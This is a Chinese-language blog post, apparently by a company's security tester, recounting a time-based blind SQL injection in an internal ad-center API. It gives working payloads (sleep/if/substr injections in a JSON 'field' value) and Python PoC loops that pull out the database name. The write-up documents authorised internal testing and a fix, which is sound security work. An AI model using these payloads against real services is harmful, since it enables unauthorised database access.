今天又是周一,上午9点30下地铁,楼下又是熟悉的高新南地摊酸辣粉,买一碗走到公司,坐电梯,9点50,回到工位,跟同事打个招呼,意思性的表示我来了,随后提着外卖走到茶水间,开始戴着我30块买的华强北Airpos pro,打开噼哩噼哩,10点20,吃完了,回到工位,日常检查写的日志审计脚本报错没,喔天呐没报错,随后跟对面的测试的姐姐聊起了天,测试的姐姐说今天楼下的汉堡王真难吃,下次再也不买了,一转眼11点30了,准备吃饭了,回头跟对面的产品姐姐聊聊人生,问她有男朋友吗?今晚一起吃饭吗?周末一起去玩吗?喔天呐,一转眼12点了,吃完饭,回到工位12点30,睡一觉,2点了,芜湖,今天又过去了,下午开个会,再跟UI的姐姐吹吹水,真好一转眼6点30了,下班回家!今天又是PPT工程师愉快的一天
上午一到公司,打开网页就发现一枚SQL注入,开始手工复现,确认漏洞,所以有了此文
一、漏洞发现


执行的SQL语句
SELECT COUNT(1) FROM t_ad WHERE (a`openrasp = ? AND delete_flag = ? AND ad_id <> ?)
完整Header信息
accept: */*
accept-encoding: gzip, deflate
appsource: 4
connection: keep-alive
content-length: 132
content-type: application/json;charset=UTF-8
countrycode: NG
host: 172.29.68.103:18129
scan-request-id: 3-xxxxxxxxxx-7cxxxxxxxxxx
user-agent: Java/1.8.0_251
x-b3-parentspanid: xxxxxxxxxx
x-b3-sampled: 0
x-b3-spanid: xxxxxxxxxx
x-b3-traceid: 1xxxxxxxxxx
x-iast-filter: xxxxxxxxxx==
x-span-name: http:/api/ad/fieldIsExist
请求Body
HTTP Request:
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: xxxxxxxxxx
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: xxxxxxxxxx
x-b3-traceid: xxxxxxxxxx
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: xxxxxxxxxx==
scan-request-id: 3-c621c0e4-7ccb-47ad-963b4-b14769682c5d
{"field": "a`openrasp", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA97345B443D8B1E80AD12344BBA409", "platform": null}
响应包
HTTP Response:
HTTP Code:200
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: xxxxxxxxxx
Transfer-Encoding: chunked
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Wed, 30 Jun 2021 09:43:55 GMT
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}
二、Burp Repeater
将请求包丢入到Burp的Repeater进行重放测试

关键字openrasp
所在的位置为可能存在注入的地方
尝试将openrasp
字样删除 结果还是返回An unknown error occurred in the ad-center service

1、手工Fuzz确认漏洞
将a
后面跟上'
----- 报错
此时的SQL语句大概为
SELECT COUNT(1) FROM t_ad WHERE (a' = ? AND delete_flag = ? AND ad_id <> ?)

将a
后面跟上and 1=1--
----- 报错
SELECT COUNT(1) FROM t_ad WHERE (a' AND 1=1 -- = ? AND delete_flag = ? AND ad_id <> ?)

将a
修改为数字1
----- 成功
SELECT COUNT(1) FROM t_ad WHERE (1 = ? AND delete_flag = ? AND ad_id <> ?)

直接尝试select version()
------ 成功
SELECT COUNT(1) FROM t_ad WHERE (select version() = ? AND delete_flag = ? AND ad_id <> ?)

返回包显示Success,猜测可能语句执行成功,但是没有返回点,故此通过sleep(3)
来进行判断

可以看到burp提示了3秒钟,尝试修改为5秒

确认存在SQL注入
Payload
select version() union select sleep(5)
SELECT COUNT(1) FROM t_ad WHERE (select version() union select sleep(5) = ? AND delete_flag = ? AND ad_id <> ?)
Payload Request
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: xxxxxxxxxx
x-span-name: http:/api/ad/fieldIsExist
countrycode: xxxxxxxxxx
x-b3-sampled: 0
accept: */*
x-b3-spanid: xxxxxxxxxx
x-b3-traceid: xxxxxxxxxx
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: xxxxxxxxxx==
scan-request-id: 3xxxxxxxxxx
Content-Length: 162
{"field": "select version() union select sleep(5)", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}
Payload Response(return time 3)
HTTP/1.1 200 OK
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: xxxxxxxxxx
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Thu, 01 Jul 2021 06:53:40 GMT
Content-Length: 92
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}
三、Python Fuzz
1、获取数据库名长度
原理就是通过传入一个数值,通过if语句来判断length(database())是否等于,如果等于就sleep(5)秒,否则返回
Tips:该接口有个比较奇怪的问题,如果该长度等于数据库长度,那么正常会先sleep(5)秒,再返回,但是在该接口中,并不会返回,会一直卡着,比如循环跑到13的时候卡住了,没有输出14的payload那么很有可能数据库的长度就是14
该问题,后续所有Fuzz都会遇到,只需要手工取出来,然后加1即可
Payload
if (length(database())=14,sleep(5),0)

跑到这里的时候卡住了,那么只需要取值14即可,如何判断这个长度是14呢,将payload导入到burp中重放就可以了


长度为13的时候返回非常的快,长度14的时候返回非常慢,故此可以判断数据库名的长度为14
1-1、Payload Json
{
"field": "if (length(database())=14,sleep(5),0)",
"value": "TESTAPPAD01",
"adId": "13CD98DA973B443D8B1E80AD44BBA409"
}
1-2、Poc
def getDataBasesLengthSqlFuzz():
for Count in range(1, 100):
data = {
"field": "if (length(database())={},sleep(5),0)".format(Count),
"value": "TESTAPPAD01",
"applicationId": None,
"adId": "13CD98DA973B443D8B1E80AD44BBA409",
"platform": None
}
result = requests.post(url=url, headers=headers, data=json.dumps(data))
print(json.dumps(data))
2、获取数据库名
原理是使用substr取database的每一位字符转成ascii与1-128进行比较,然后返回一个ascii,再进行转换就可以得到一个字符,最后将14个字符拼接起来就是数据库名
ps:这里传入的长度只能用手工来传入,例如要跑数据库名的第一个字符的值是多少,就需要传入1,第二个就需要传入2,以此类推直到14,不可以使用循环,如果使用循环,程序会卡住,问题跟上文一样,并且每一次循环获取到的值都需要加1
Payload
if (ascii(substr(database(),{xxx},1))={xxx}, sleep(3), 0)
第一个字符 97

第二个字符 100

第三个字符 95

第四个字符 99

第五个字符 101

第六个字符 110

第七个字符 116

第八个字符 101

第九个字符 114

第十个字符 95

第十一个字符 100

第十二个字符 97

第十三个字符 116

第十四个字符 97

为了确认长度是否是14,再跑一次长度15

程序直接跑完了,并没有卡住,很显然,长度为14
ASCII字符:97 100 45 99 101 110 116 101 114 45 100 97 116 97
转换为字符:a d - c e n t e r - d a t a

数据库名为:ad-center-data
Pyaload Json
{
"field": "if (ascii(substr(database(),15,1))\u003d127, sleep(3), 0)",
"value": "TESTAPPAD01",
"adId": "13CD98DA973B443D8B1E80AD44BBA409"
}
Poc
def getDataBaseNameSqlFuzz(length):
for j in range(1, 128):
data = {
"field": "if (ascii(substr(database(),{},1))={}, sleep(3), 0)".format(length, j),
"value": "TESTAPPAD01",
"applicationId": None,
"adId": "13CD98DA973B443D8B1E80AD44BBA409",
"platform": None
}
result = requests.post(url=url, headers=headers, data=json.dumps(data))
print(json.dumps(data))
print(result.json())
print('=' * 100)
四、结尾!
本想着继续跑表的,没想到测试环境突然更新,所以没有办法继续深入了

与开发沟通后才发现,这个字段改了,现在写死了,没办法了(边上的大佬说,你一个安全部门的没事去私聊人家开发,人家估计会想是不是有问题,你还问人家字段,那不是更离谱!)

然后我去跟开发线下对线后发现,测试部门发了一个日志给他,日志里面全是我拼接的SQL语句(一种犯罪证据被人抓出来的感觉),然后开发就紧急马上就改了,好,至此,结束!
